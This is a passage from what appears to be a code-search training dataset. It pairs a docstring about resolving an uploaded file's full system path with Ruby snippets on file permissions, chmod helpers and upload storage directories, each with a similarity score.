"def chmod(path, mode = 0700)\n if session.platform == 'windows'\n raise \"`chmod' method does not support Windows systems\"\n end\n\n if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_FS_CHMOD)\n session.fs.file.chmod(path, mode)\n else\n cmd_exec(\"chmod #{mode.to_s(8)} '#{path}'\")\n end\n end",
"def chmod(mode, list, options = {})\r\n fu_check_options options, :noop, :verbose\r\n list = fu_list(list)\r\n fu_output_message sprintf('chmod %o %s', mode, list.join(' ')) if options[:verbose]\r\n return if options[:noop]\r\n File.chmod mode, *list\r\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def chmod_r(mode, options={})\n #list = list.to_a\n fileutils.chmod_r(mode, list, options)\n end",
"def chmod(path, mode, *args, **opts)\n TTY::File.chmod(path, mode, *args, **opts)\n end",
"def updatedb_file_permissions(file)\n meta = updatedb_file_ls(file)\n if meta\n permissions = meta.split(\" \")[0]\n permissions\n else\n nil\n end\n end",
"def custom_permissions\n can [:file_status, :stage, :unstage], FileSet\n\n if current_user.ingest_from_external_sources?\n end\n\n if current_user.manage_users?\n can [:show, :add_user, :remove_user, :index], Role\n end\n\n if current_user.manage_roles?\n can [:create, :show, :index, :edit, :update, :destroy], Role\n end\n\n if current_user.run_fixity_checks?\n can [:fixity], FileSet\n end\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def adjust_permissions\n # adjust base directory permission\n subsection 'Adjust file and directory permissions', color: :green, prefix: @output_prefix unless @silent\n FileUtils.chown @owner, @group, \"#{ @destination_directory }/#{ @artifact }\"\n FileUtils.chmod \"u+w,g+ws\", \"#{ @destination_directory }/#{ @artifact }\"\n\n # adjust release directory permission\n FileUtils.chown_R @owner, @group, @release_directory\n end",
"def chmod_r(mode, path)\n exec! \"chmod -R #{mode.to_s(8)} #{escape(expand_path(path))}\"\n end",
"def set_perms_on_remote(host, path, mode, owner=nil, group=nil)\n if (owner.nil?)\n owner = on(host, puppet('config', 'print', 'user')).stdout.rstrip\n end\n\n if (group.nil?)\n group = on(host, puppet('config', 'print', 'group')).stdout.rstrip\n end\n\n on(host, \"chmod -R #{mode} #{path}\")\n on(host, \"chown -R #{owner}:#{group} #{path}\")\nend",
"def chmod mod, path\n add \"chmod #{mod} #{path}\", check_perms(mod, path)\n end",
"def chmod_r(mode)\n util.chmod_r(mode, path)\n end",
"def adjust(path, permissions)\n\n # chowns all run user files to the sftp user\n with_tempfile do |tf|\n sudo(run_user_uid,group_gid) do\n cmd(\"find #{shellescape(path)} -user #{options['run_user']} -type d > #{tf}\")\n cmd(\"find #{shellescape(path)} -user #{options['run_user']} -type f >> #{tf}\")\n end\n on_filelist(File.read(tf),run_user_uid) do |p|\n FileUtils.chown( options['sftp_user'], options['group'], p)\n end\n end\n # chmod runs as sftp user, which should own all the relevant files now\n sudo(sftp_user_uid,group_gid) do\n cmd(\"chmod -R #{permissions} #{shellescape(path)}\")\n end\n log \"Adjusted #{path} with #{permissions} and #{options['sftp_user']}:#{options['group']}\"\nrescue => e\n log \"Error while adjusting path #{path}: #{e.message}\"\nend",
"def set_perms_on_remote(host, path, mode, opts = {})\n opts[:owner] ||= on(host, puppet('config print user')).stdout.rstrip\n opts[:group] ||= on(host, puppet('config print group')).stdout.rstrip\n\n on(host, \"chmod -R #{mode} #{path}\")\n on(host, \"chown -R #{opts[:owner]}:#{opts[:group]} #{path}\")\n end",
"def set_permissions(permissions, opts = {})\n scope = (opts[:scope] ||= @config.default_scope)\n\n # Get the default options from the master configuration for the given scope\n opts = (@config[:scope_defaults][scope] || {}).merge(opts)\n opts[:event] ||= :set_permissions\n @permissions[scope] = permissions\n\n if opts[:store] != false && opts[:event] != :fetch\n options = env[ENV_SESSION_OPTIONS]\n options[:renew] = true if options\n session_serializer.store(permissions, scope)\n end\n\n run_callbacks = opts.fetch(:run_callbacks, true)\n manager._run_callbacks(:after_set_permissions, permissions, self, opts) if run_callbacks\n\n @permissions[scope]\n end",
"def set_default_permissions!\n # Always allow to read the id\n let :read, :id\n # These shouldn't change after the first save.\n let :write, [ :id, :created_at ], :if => :new?\n # These can always change.\n let :write, :updated_at\n end",
"def action_chmod\n if @omode == nil\n Chef::Log::fatal \"target mode need to be provided to perform chmod\"\n elsif (!dir_exists?(@path))\n Chef::Log::Error(\"Directory #{ @path } doesn't exist; chmod action not taken\")\n else\n converge_by(\"chmod #{ @new_resource }\") do\n @client.chmod(@path, @mode)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def make_certs_world_readable\n FileUtils.chmod(0644, [root_filename, cert_filename].compact)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end"
] | [
"0.61778283",
"0.6151694",
"0.6135356",
"0.6115305",
"0.6100644",
"0.6083128",
"0.59712285",
"0.59698904",
"0.59641623",
"0.58579946",
"0.5851635",
"0.5821485",
"0.58096987",
"0.578552",
"0.5781495",
"0.5779447",
"0.5756283",
"0.5678055",
"0.56312793",
"0.5623642",
"0.56124187",
"0.55907375",
"0.55799514",
"0.55723506",
"0.55598724",
"0.5522173",
"0.5485391",
"0.5458087",
"0.5458087",
"0.5451974",
"0.54425436",
"0.5437259",
"0.54254156",
"0.54147065",
"0.5412454",
"0.54112434",
"0.53918767",
"0.5389037",
"0.5316204",
"0.52926034",
"0.5292505",
"0.52765816",
"0.5274964",
"0.5255996",
"0.5247297",
"0.5245197",
"0.5240642",
"0.5240515",
"0.52383167",
"0.5237167",
"0.52294356",
"0.52066225",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372",
"0.5204372"
] | 0.72598076 | 0 |
Returns the full system path (including +RAILS_ROOT+) to the uploaded file, as specified by the record's current attributes. Used by +full_path+ in the event that no file exists. | def full_path_from_current_attributes
path = self.class.upload_options[:directory].
gsub(Regexp.new("^(#{RAILS_ROOT})?/?"), RAILS_ROOT + '/') + '/' +
instance_directory + '/' + send(self.class.upload_options[:filename])
path.gsub(/\/+/, '/')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def full_file_path\n Rails.root.join('uploads', filepath).to_s\n end",
"def upload_full_path\n @upload_full_path ||= File.join(@upload_file_path, name)\n end",
"def full_path\n @full_path ||= path ? File.join(root, path) : root\n end",
"def full_path\n File.join(@path, @name)\n end",
"def full_path\n must_be File\n File.realpath(self.path)\n end",
"def path\n return self.saved? ? @realfile.path : nil\n end",
"def fullpath\n File.join(@root, @path)\n end",
"def fullpath\n File.expand_path( @file )\n end",
"def path\n real_path = Pathname.new(root).realpath.to_s\n full_path.sub(%r{^#{real_path}/}, '')\n end",
"def full_path\n self.read_attribute(:full_path) || self.assign_full_path\n end",
"def full_path\n path\n end",
"def fullpath\n @fullpath = File.join(root, path)\n end",
"def current_path\n file.try(:path)\n end",
"def current_file_path\n clurl = AssetSettings[:local_assets][@file_id].last\n clurl.sub(/\\A#{AssetSettings[:local_assets].assets_url_prefix}/,\n '') if clurl\n end",
"def full_path(relative_filename)\n File.join(@mount_dir, relative_filename)\n end",
"def local_file_path\n afilePath = building.local_path + SAVE_PATH + id.to_s\n\n if file_suffix != \"\" && file_suffix != nil\n afilePath = afilePath + \".\" + file_suffix\n end\n\n afilePath \n end",
"def full_path\n container.root.join(path)\n end",
"def full_path\n container.root.join(path)\n end",
"def path\n return if @file.blank?\n if is_path?\n File.expand_path(@file)\n elsif @file.respond_to?(:path) && [email protected]?\n File.expand_path(@file.path)\n end\n end",
"def current_file_path\n current_file.to_path\n end",
"def absolutepath\n if absolute?\n self\n elsif to_s == \".\"\n realpath\n else\n parent.absolutepath + self.basename\n end\n end",
"def get_file_path\n @path\n end",
"def path\n \"/#{UPLOAD_DIR}/#{filename}\"\n end",
"def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"def base_path\n File.join(attachment_options[:path_prefix], attachment_path_id)\n end",
"def full_path\n File.dirname(File.expand_path(serialized_filename))\n end",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"def file_path\n base_image ? base_image.base_filename : nil\n end",
"def full_path; end",
"def fullpath; end",
"def full_filename\n File.join(path, self.disk_filename)\n end",
"def full_path(file_or_bucket)\n path = ''\n if(file_or_bucket.respond_to?(:bucket))\n path << '/' << bucket_path(file_or_bucket.bucket)\n end\n path << '/' << file_path(file_or_bucket)\n path\n end",
"def full_path(path)\n if path.nil?\n '<unknown>'\n else\n begin\n File.expand_path(path)\n rescue\n '<unknown>'\n end\n end\n end",
"def getFullPath(relativePath)\n return @baseDirectory.fullPath + relativePath\n end",
"def path\n @file.path\n end",
"def file_system_path\n path_prefix = (thumbnail ? thumbnail_class : self).attachment_options[:path_prefix].to_s\n [path_prefix, self.parent_type.underscore, attachment_path_id.to_s, self.id.to_s] + partitioned_path(thumbnail_name_for(thumbnail))\n end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def real_path(path)\n real_path = @rack_context.getRealPath(path)\n real_path.chomp!('/') if real_path\n # just use the given path if there is no real path\n real_path\n end",
"def absolute_path\n if is_url?\n # Use the last path component without the query string plus the name\n # of the resource in Base64. This should be both mildly readable and\n # also unique per invocation.\n url_part = URI(path).path.split(/\\//).last\n base64_name = Base64.strict_encode64(name).gsub(/\\=/, '')\n ::File.join(Chef::Config[:file_cache_path], \"#{base64_name}_#{url_part}\")\n else\n ::File.expand_path(path, Chef::Config[:file_cache_path])\n end\n end",
"def metadata_full_path\n @metadata_full_path ||= File.join(File.dirname(@full_path), name)\n end",
"def file_path\n storage.file_path(self.class, @id)\n end",
"def file_path\n @file_path ||= lookup_file_path\n end",
"def path\n self.file.to_s\n end",
"def stored_file_path\n File.join(path, stored_name)\n end",
"def path\n @file.path\n end",
"def absolute(file)\n if File.directory?(full_path)\n File.join(full_path, file)\n else\n full_path\n end\n end",
"def full_virtual_path\n '/uploads'\n end",
"def to_file_path localhost: true\n raise \"no local path for non-local URI #{to_s}\" unless local?(localhost: localhost)\n path = scrub(@path)\n #path = path.gsub(SLASH, File::SEPARATOR)\n path\n end",
"def root_path\n Pathname.new(upload_path_value).join(search_directory)\n end",
"def base_path\n [attachment_options[:path_prefix], attachment_path_id].join(\"/\")\n end",
"def local_path_to_file=(value)\n @attributes[:local_path_to_file] = value\n reset_attributes\n calculate_attributes\n value\n end",
"def uploaded_file_path\n FileServices::Uploader.perform(@file, upload_path)\n end",
"def metadata_full_path\n @metadata_full_path ||= \"#{File.dirname(@full_path)}/#{name}\"\n end",
"def save_path_with_own_path\n File.join(save_path, path)\n end",
"def local_path\n @io.local_path\n end",
"def relative_path\n @local_path.relative_path_from(@platform.local_path)\n end",
"def getFullPath(relativePath)\n return baseDir + relativePath\n end",
"def full_path_for(path)\n path = \"/#{path}\" unless path[0..0] == '/'\n path\n end",
"def full_path(custom)\n \"#{base_path}/#{custom}\"\n end",
"def get_full_path(sub_path)\n File.join(Dir.pwd, sub_path)\nend",
"def model_file_path\n model.file_path\n end",
"def full_defined_path()\n return nil if is_root?\n return name if parent.is_root?\n return \"#{parent.full_defined_path}.#{name}\"\n end",
"def file_path\n Merb::Config[:upload_dir] / self.hash[0..1] / (self.hash[2..-1] + '-' + self.size.to_s )\n end",
"def path\n File.join(self.drive.path, self.relative_path)\n end",
"def path_relative_to_upload_dir\n upload_dir = Gitlab::BackgroundMigration::PrepareUntrackedUploads::RELATIVE_UPLOAD_DIR\n base = %r{\\A#{Regexp.escape(upload_dir)}/}\n @path_relative_to_upload_dir ||= path.sub(base, '')\n end",
"def file_path(ext = nil)\n return nil unless file_name(ext)\n \"#{self.base_path}/#{file_name(ext)}\"\n end",
"def upload_file_url\n \"file://#{upload_full_path}\"\n end",
"def file_root(full=false)\n \"#{public_root if full}/stash/#{self.class.to_s}/#{self.id || 'tmp'}\"\n end",
"def full_rel_path()\n return nil if rel_path.nil?\n \n path = nil\n current_part = self\n while not current_part.nil? do\n if (not current_part.rel_path.nil?)\n if path.nil?\n path = current_part.rel_path\n else\n path = \"#{current_part.rel_path}.#{path}\"\n end\n end\n current_part = current_part.parent\n end\n \n return path\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def file_name_with_path\n root_path.dup + file_name\n end",
"def to_abs_path\n File.expand_path(self)\n end",
"def full_path\n if path[0] == '/'\n path\n else\n File.join(Play.music_path,path)\n end\n end",
"def file_path(attachment_name, style=nil, full=false)\n f = __send__(attachment_name)\n return nil if f.nil?\n fn = style.nil? ? f[:name] : \"#{attachment_name}.#{style}\"\n \"#{file_root(full)}/#{fn}\"\n end",
"def get_path\n\n if uploaded_file.path\n Rails.logger.info 'replacement_image - get_path() - has uploaded_file.path!'\n return_path = uploaded_file.path\n ext_name = File.extname( return_path )\n return_path = File.dirname( return_path ) + '/'\\\n + ZIP_FILE_EXTRACTED_SUBFOLDER_NAME + '/' if( ext_name == '.zip' )\n else\n Rails.logger.info 'replacement_image - get_path() - does not have uploaded_file.path!'\n app_config = Rails.application.config_for( :customization )\n ri_root = app_config[ 'path_to_replacement_image_root' ]\n return_path = ri_root + self[:id].to_s.rjust(3, '0') + '/'\n Dir.mkdir( return_path ) if !Dir.exist?( return_path )\n end\n\n Rails.logger.info 'replacement_image - get_path() - return_path: ' + return_path.to_s\n\n return_path\n end",
"def original_fullpath; end",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def real_path(aPath)\n\t\t\t\t(path = Pathname.new(::File.expand_path(aPath))) && path.realpath.to_s\n\t\t\tend",
"def path\n @file\n end",
"def where_to_save\n output_dir = @template_options[OUTPUT_DIR]\n # assume absolute\n full_path = output_dir\n if (Pathname.new(output_dir)).relative?\n full_path = File.expand_path(output_dir, Dir.pwd)\n end\n return full_path\n end",
"def access_path\n @tempfile_path || path\n end",
"def file_path\n File.join(dir,filename)\n end",
"def determine_path\n if source_line.file == SourceLine::DEFAULT_FILE\n return source_line.file\n end\n\n full_path = File.expand_path(source_line.file)\n pwd = Dir.pwd\n\n if full_path.start_with?(pwd)\n from = Pathname.new(full_path)\n to = Pathname.new(pwd)\n\n return from.relative_path_from(to).to_s\n else\n return full_path\n end\n end",
"def to_absolute_path\n File.join('', to.path(:default).to_s)\n end",
"def file_path\n FileUtils.mkdir_p @path unless Dir.exist? @path\n\n @path\n end",
"def local_image_path(name)\n Rails.root.join('uploads', name).to_s\n end",
"def abspath(file)\n File.absolute_path(file)\nend",
"def path\n unless @selected_filename.nil? || @selected_filename.empty?\n return File.join(@base_dir, @name, @selected_filename)\n end\n ''\n end",
"def path\n @file\n end",
"def absolute_path_base\n absolute_path.gsub File.extname( absolute_path ), ''\n end",
"def absolute_path(path)\n path = Pathname.new(path)\n return Pathname.new(@config.base_path) + path unless path.absolute?\n path\n end",
"def path\n file.url\n end",
"def path\n @path ||= @filename ? pathname.to_s : nil\n end",
"def path\n if [email protected]? && File.exists?(@path)\n @path\n end\n end",
"def file_path\n dir\n end",
"def relative_path\n self.path.sub(File.expand_path(options[:root_dir]) + '/', '')\n end",
"def relative_file_path(file_path)\n file_path.gsub(/#{pwd}\\//, '')\n end",
"def file_path(was=false)\n if was\n self.site.directory_path.join(name_was)\n else\n self.site.directory_path.join(name)\n end\n end",
"def absolute_path(relative_path)\n quoted_string(File.expand_path(File.join(File.dirname(options[:filename]), relative_path.value)))\n end"
] | [
"0.7924824",
"0.7746192",
"0.7309491",
"0.7155678",
"0.7129289",
"0.71280617",
"0.71274024",
"0.7108221",
"0.71034974",
"0.7069348",
"0.7019013",
"0.69260925",
"0.6884028",
"0.6842242",
"0.6799916",
"0.6784461",
"0.67746043",
"0.67746043",
"0.6749577",
"0.6685508",
"0.6606524",
"0.66031635",
"0.6574641",
"0.6538787",
"0.6537065",
"0.6528727",
"0.6508778",
"0.6508778",
"0.6502748",
"0.6486711",
"0.64670104",
"0.6459923",
"0.6443789",
"0.6421476",
"0.64050865",
"0.6401867",
"0.6399299",
"0.6396307",
"0.63917947",
"0.6382989",
"0.6381674",
"0.63752913",
"0.6348845",
"0.63480026",
"0.63443923",
"0.63379043",
"0.63355136",
"0.6330147",
"0.6300938",
"0.6290098",
"0.6286498",
"0.628483",
"0.62753046",
"0.62743676",
"0.6261942",
"0.62609583",
"0.62596256",
"0.6253083",
"0.6251903",
"0.622808",
"0.62076795",
"0.6202934",
"0.6190713",
"0.6177713",
"0.6175605",
"0.61699766",
"0.61574024",
"0.6153899",
"0.6146874",
"0.61460316",
"0.6129707",
"0.61289036",
"0.6113639",
"0.61105025",
"0.6108882",
"0.61088353",
"0.61006576",
"0.6097007",
"0.6096743",
"0.60925084",
"0.60902226",
"0.60895",
"0.6086163",
"0.60835826",
"0.60789555",
"0.60753715",
"0.6073468",
"0.60698587",
"0.6068393",
"0.6065351",
"0.6064351",
"0.60390294",
"0.60355526",
"0.60317373",
"0.6030028",
"0.60170156",
"0.60137415",
"0.59990245",
"0.5995071",
"0.599196"
] | 0.8146056 | 0 |
Returns the subdirectory in which to save the record's file. | def instance_directory
dir = self.class.upload_options[:subdirectory]
dir.nil? ? '' : send(dir).to_s.gsub(/[^a-z0-9_\/\\-]/i, '')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def where_to_save\n output_dir = @template_options[OUTPUT_DIR]\n # assume absolute\n full_path = output_dir\n if (Pathname.new(output_dir)).relative?\n full_path = File.expand_path(output_dir, Dir.pwd)\n end\n return full_path\n end",
"def dir\n calc_dir(@basename)\n end",
"def store_dir\n %(#{Rails.root}/storage/#{model.parent.class.name.pluralize.downcase}/#{model.parent.id})\n end",
"def store_dir\n \"uploads/#{model.Mid}\"\n end",
"def subdir\n (@subdir) ? Pathname.new(@subdir) : Pathname.new('.')\n end",
"def store_dir\n #\"documentos/#{model.document_album.escuela_transporte.razonSocial.gsub(\" \",\"_\").mb_chars.normalize(:kd).gsub(/[^x00-\\x7F]/n, '').to_s.upcase.gsub(/[^a-zA-Z0-9_-]/,\"\")}/#{model.document_album.nombre.upcase}/#{model.nombre}\"\n model.document_path\n end",
"def store_dir\n if model[\"#{mounted_as}\"]\n fname = model[\"#{mounted_as}\"]\n else\n fname = self.filename\n end\n p1,p2 = fname[0,1],fname[1,1]\n [model.class.to_s.underscore,p1,p2].join(\"/\")\n end",
"def path\n filename = [key, self.class.subclass_suffix, self.class::FILE_SUFFIX]\n filename = filename.compact.join('.')\n\n if subdirectory\n directory.join(subdirectory).join(filename)\n else\n directory.join(filename)\n end\n end",
"def directory\n File.dirname(@path) + '/'\n end",
"def store_dir\n path = []\n if !model.subject.nil?\n path.push(model.subject.class.name.demodulize.to_s.underscore)\n path.push(model.subject.id.to_s)\n end\n path.push(model.class.name.demodulize.to_s.underscore)\n path.push(model.id)\n return path.join('/')\n end",
"def directory\n File.dirname @path\n end",
"def parent_directory\n File.dirname(@full_path).split('/').last\n end",
"def parent_directory\n File.dirname(@full_path).split('/').last\n end",
"def store_dir\n Rails.root.join('data', model.data_dir, model.id.to_s)\n end",
"def dump_directory\n File.join(@relative_to_base, DUMP_DIRECTORY_NAME)\n end",
"def directory_path\n @directory_path ||= url_file_path.sub /([^\\/]*)\\z/, ''\n end",
"def path\n filename = [key, self.class.subclass_suffix, self.class.extension_name]\n filename = filename.compact.join('.')\n\n if subdirectory\n directory.join(subdirectory).join(filename)\n else\n directory.join(filename)\n end\n end",
"def store_dir\n \"#{model.account.subdomain}/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def directory\r\n \[email protected]\r\n end",
"def directory\n self.path.directory\n end",
"def store_dir\n \"files/#{model.album.path}\"\n end",
"def store_dir\n format(\n '%suploads/peoplefinder/%s/%s/%s',\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n )\n end",
"def subdir\n if core_project? or 'profile' == proj_type\n return @local_path.parent.relative_path_from(@platform.local_path + (proj_type + 's'))\n else\n return @local_path.parent.relative_path_from(@platform.local_path + @platform.contrib_path + (proj_type + 's'))\n end\n end",
"def path\n @directory.path\n end",
"def store_dir\n '%suploads/peoplefinder/%s/%s/%s' % [\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n ]\n end",
"def store_dir\n type = ActiveSupport::Inflector.underscore(model.class.to_s)\n \"#{HasMedia.directory_path}/#{type}/#{model.sha1}/#{model.id.to_s}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.request_id}\"\n end",
"def directoryname\n new_parts = @parts[0..-2]\n new_parts[0] = absolute_prefix + new_parts[0]\n FilePath.new(*new_parts).to_s\n end",
"def containing_directory\n path.dirname\n end",
"def store_dir\n \"uploads/creation_doc/#{model.id}\"\n end",
"def file_dir\n @parent_generator.file_dir\n end",
"def store_dir\n \"city-of-meridian/files/\"\n end",
"def store_dir\n \"#{model.class.to_s.underscore}/#{model.id}/documents\"\n end",
"def store_dir\n File.expand_path(self.relative_store_dir, @options[:root_dir])\n end",
"def store_dir\n \"attachment/#{model.id}\"\n end",
"def store_dir\n \"attachment/#{model.id}\"\n end",
"def base_dir\r\n datastore['WritableDir']\r\n end",
"def path(suffix = nil)\n base = \"#{@parent.path}.#{subregion_directory}\"\n base << \".#{suffix}\" if suffix\n base\n end",
"def path_dir\n File.split(path).first\n end",
"def store_dir\n \"uploads/screenshots/2014/04/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def dir\n Rails.root.join(ROOT, type, name).to_s\n end",
"def store_dir\n \"uploads/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_id}\"\n end",
"def log_directory\n File.join(@relative_to_base, LOG_DIRECTORY_NAME)\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}\"\n end",
"def store_dir\n File.join Rails.root, root_dir, model_dir, partition_dir\n end",
"def store_dir\n File.join STORE_DIR, \"#{model.id}\"\n end",
"def root_path\n Pathname.new(upload_path_value).join(search_directory)\n end",
"def dir_name\n File.dirname(file_name)\n end",
"def store_dir\n\n \"#{model.publication.product_code}/#{model.product_id}\"\n end",
"def store_dir\n \"photo/#{model.id}\"\n end",
"def dir\n @dir ||= File.dirname(fullpath)\n end",
"def dump_directory\n @relative_location.end_with?('/') ? @relative_location + DUMP_DIRECTORY_NAME : @relative_location + '/' + DUMP_DIRECTORY_NAME\n end",
"def store_dir\n \"#{model.class.to_s.pluralize.parameterize}/#{model.id}/\"\n end",
"def file_path\n dir\n end",
"def directory_name\n return @directory_name.to_s if @directory_name\n return local_path.basename.to_s if exist?\n return name\n end",
"def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end",
"def observation_directory\n return @observation_directory unless @observation_directory.nil?\n test_file = @current_test.metadata[:file_path]\n File.join(File.dirname(File.absolute_path(test_file)), 'test_observations')\n end",
"def directory\n return @directory\n end",
"def store_dir\n \"assets/media/#{model.class.to_s.underscore}/#{model.contest_attachment_group_id}/\"\n end",
"def a_dir\n self.path.split('/')[0...-1]\n end",
"def local_backup_path\n [local_directory, Confluence.filename].join('/')\n end",
"def store_dir\n \"uploads/screenshots/#{model.id}\"\n end",
"def store_dir\n \"uploads/creation_ppt/#{model.id}\"\n end",
"def base_export_dir\n \"#{@directory.slug}_files\"\n end",
"def save_dir(filename)\n @save_save_dir = @dispatch.save_dir\n @dispatch.save_dir = File.dirname(filename)\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore.pluralize}/#{model.image_type.pluralize}/#{model.id}\"\n end",
"def store_dir\n # NOTE that we are storing avatars by wca_id. There are two consequences of this:\n # - A user must have a wca_id to have an avatar (see validations in user.rb).\n # - Changing the wca_id for a user is complicated, and not something we\n # are bothering to handle very well.\n \"uploads/#{model.class.to_s.underscore}/avatar/#{model.wca_id}\"\n end",
"def store_dir\n \"uploads/message/#{model.id}\"\n end",
"def path()\n return ::File.join(@root, @name)\n end",
"def store_dir\n \"media/documents/#{Time.now.year}/#{Time.now.month}/#{Time.now.day}\"\n end",
